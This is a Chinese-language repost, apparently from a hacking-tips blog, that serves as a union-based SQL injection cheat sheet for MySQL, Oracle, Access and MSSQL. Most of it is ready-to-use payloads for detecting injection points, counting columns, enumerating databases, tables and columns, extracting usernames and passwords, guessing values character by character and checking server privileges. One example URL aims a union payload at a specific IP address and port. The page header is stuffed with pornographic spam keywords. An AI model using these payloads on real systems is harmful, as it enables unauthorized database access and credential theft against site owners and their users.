日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

oracle中文字段名怎么查询_sql注入联合查询总结

發布時間:2025/3/15 编程问答 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 oracle中文字段名怎么查询_sql注入联合查询总结 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

點擊上方藍色字關注我們

聯合查詢注入利用的前提:

? ? ? ?? 前提條件:頁面上有顯示位

聯合注入的過程:

????????????1、判斷注入點

????????????2、判斷是整型還是字符型

????????????3、判斷查詢列數

????????????4、判斷顯示位

????????????5、獲取所有數據庫名

????????????6、獲取數據庫所有表名

????????????7、獲取字段名

????????????8、獲取字段中的數據

數據庫判斷:

1.用@@datadir查看數據庫安裝目錄,能否判斷出

2.通過各個數據庫特有的數據表來判斷:

mssql:and (select count(*) from sysobjects)>0 and 1=1Accese:and (select count(*) from msysobjects)>0 and 1=1mysql:and (select count(*) from information_schema.TABLES)>0 and 1=1 oracle:and (select count(*) from sys.user_tables)>0 and 1=1

終極法寶 :報錯信息!!!!!!!!!!

mysql注入:

注入判斷:

'"And 1=1ord(0x1)> \\/#--+-^1^0

字段數判斷:

Order by 3 --

獲取所有數據庫名:

select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

獲取表名:

Union select table_name from information_schema.tables where table_schema=database() --

獲取字段名

Union select column_name from information_schema.columns where table_schema=table_name -

查詢數據:

union select 1,group_concat(concat_ws(char(32,58,32),first_name,password)) from users --

內置函數:

拆解數據庫名:database() 用戶名:user() 版本:version() 或 @@version數據庫路徑:@@datadir

mysql通過information_schema這個表查詢相應的數據庫名,表名,字段名。

oracle注入:

獲取數據庫所有用戶:

SELECT username FROM all_users;SELECT name FROM sys.user$; -- 需要高權限

獲取當前數據庫用戶:

SELECT user FROM dual;

字段數判斷:

order by 3 --and 1=2 union select null,null,null from dual--

判斷子段的數據類型:

and 1=2 union select 'null',null,null from dual-- //返回正常,則第一個字段是字符型,返回錯誤,為字符型

數據庫信息:

and 1=2 union select null,(select banner from sys.v_$version where rownum=1),null from dual-- //探測數據庫版本信息

查詢表名:

and 1=2 union select null,(select table_name from user_tables where rownum=1),null from dual-- //查詢第一個表名and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name<>'STUDENT'),null from dual-- //第二個表名

查詢字段名:

and 1=2 union select null,(select column_name from user_tab_columns where table_name='[表名]' and rownum=1),null from dual-- //查看第一個字段名and?1=2?union?select?null,(select?column_name?from?user_tab_columns?where?table_name='[表名]'?and?rownum=1?and?column_name<>'[第一個字段名]'),null?from?dual--?//查看第二個字段名and 1=2 union select null,(select column_name from user_tab_columns where table_name='[表名]' and rownum=1 and column_name<>'[第一個字段名]' and column_name<>'[第二個字段名名]'),null from dual-- //查看第三個字段名

查數據:

and 1=2 union select id,name,pass from student where id=1-- //查看數據

wmsys.wm_concat()等同于MySQL中的group_concat(),在11gr2和12C上已經拋棄,可以用LISTAGG()替代

如果字符集不匹配:

則需要進行字符集轉換:

cast('' as nvarchar2(10))

栗子:

http://59.63.200.79:8808/?id=-1%20union%20all%20select%20NULL,NULL,cast((select%20table_name%20from%20user_tables%20where%20rownum=1)%20as%20nvarchar2(10)),1%20from%20dual--%20-

注意點:

1. ?? Oracle 在使用union 查詢的跟Mysql不一樣Mysql里面我用1,2,3,4就能占位,而在Oracle里面有比較嚴格的類型要求。也就是說你union select的要和前面的字段類型一樣,我們可以用null來代替站位。

2.??? Oracle和mysql不一樣,分頁中沒有limit,而是使用三層查詢嵌套的方式實現分頁(查詢第一條數據“>=0<=1”)?例如:

SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >= 0

3. ? ? ? Oracle的單行注釋符號是--,多行注釋符號/**/

Acess數據注入:

判斷字段:

order by 1 --+-

判斷表:

聯合查詢表,回顯正常即為表存在,反之為不存在。

Union select * from 表名?? 或? 表名還可以使用這種方法來猜表名,

and 0<>(select count(*) from 表名)?

列名也只能靠猜,如果猜不到就只能使用偏移注入來碰運氣了

and exists (select admin from admin)

and exists (select count(列名) from 表名)

爆字段內容:

爆字段內容要分兩步,先猜長度,再猜內容猜長度。and (select len(admin) from admin)=5,如果正確則回顯正常。

猜內容,一個一個字段的猜,和盲注一樣的道理。and (select asc(mid(admin,1,1)) from admin)>95,

and (select top 1 asc(mid(列名,列數N,1)) from 表名) > x

top后的數字為該列的第N行,x為ASCII碼,列數N就是在這一列中的第幾個數字

asc()仍然還是轉換為ascii碼的函數,mid(admin,1,1)則為截取admin字段內容的第一個字符的一個字符,也就為第一個字符。

MSSQL注入:

查詢當前的用戶數據信息:

?id=1 having 1=1--+-

猜表名:

?id=1 and exists(select * from tablename)?id=1 and (Select Count(*) from [表名])>0

猜字段:

?id=1 and (Select Count(字段名) from 表名)>0

爆當前表中的列:

?id=1 group by admin.username having 1=1–-+-

猜字段中記錄長度:

?id=1 and (select top 1 len(字段名) from 表名)>0

猜字段中的ascii值:

?id=1 and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 access?id=1 and (select top 1 unicode(substring(字段名,1,1)) from 數據庫名)>0

查數據:

UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename')

測試權限結構(mssql):

· ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’));–· ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘serveradmin’));–· ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘setupadmin’));–· ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘securityadmin’));–· ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘diskadmin’));–· ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘bulkadmin’));–· ?id=1 and 1=(SELECT IS_MEMBER(‘db_owner’));–

mssql內置函數:

· ?id=1 and (select @@version)>0   獲得Windows的版本號· ?id=1 and user_name()=’dbo’     判斷當前系統的連接用戶是不是sa· ?id=1 and (select user_name())>0  爆當前系統的連接用戶· ?id=1 and (select db_name())>0   得到當前連接的數據庫

為了安全請將工具放在虛擬機運行!

作者不易!請點一下關注在走吧!

此文章僅供學習參考,不得用于違法犯罪!

轉載此文章,請標明出處。

關注此公眾號,各種福利領不停,每天一個hacker小技巧輕輕松松學習hacker技術!

掃碼領hacker資料,常用工具,以及各種福利

新人創作打卡挑戰賽發博客就能抽獎!定制產品紅包拿不停!

總結

以上是生活随笔為你收集整理的oracle中文字段名怎么查询_sql注入联合查询总结的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。